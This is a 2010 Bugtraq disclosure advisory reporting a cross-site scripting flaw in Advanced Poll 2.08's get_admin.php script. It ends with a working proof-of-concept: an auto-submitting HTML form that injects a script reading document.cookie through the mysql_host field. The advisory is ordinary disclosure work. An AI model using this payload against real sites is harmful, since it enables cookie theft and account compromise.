bugtraq - XSS vulnerability in Advanced Poll

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Message-Id: <201005100755.o4A7tuqp013904@htbridge.ch>
Date: Mon, 10 May 2010 09:55:56 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in Advanced Poll 

Vulnerability ID: HTB22358
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_advanced_poll.html
Product: Advanced Poll 
Vendor: Chi Kien Uong
Vulnerable Version: 2.08 and Probably Prior Versions
Vendor Notification: 23 April 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application. 

The vulnerability exists due to failure in the "/misc/get_admin.php" script to properly sanitize user-supplied input in "mysql_host" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available: 

<form method="POST" action="http://host/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">
</form>
<script>
document.main.submit();
</script>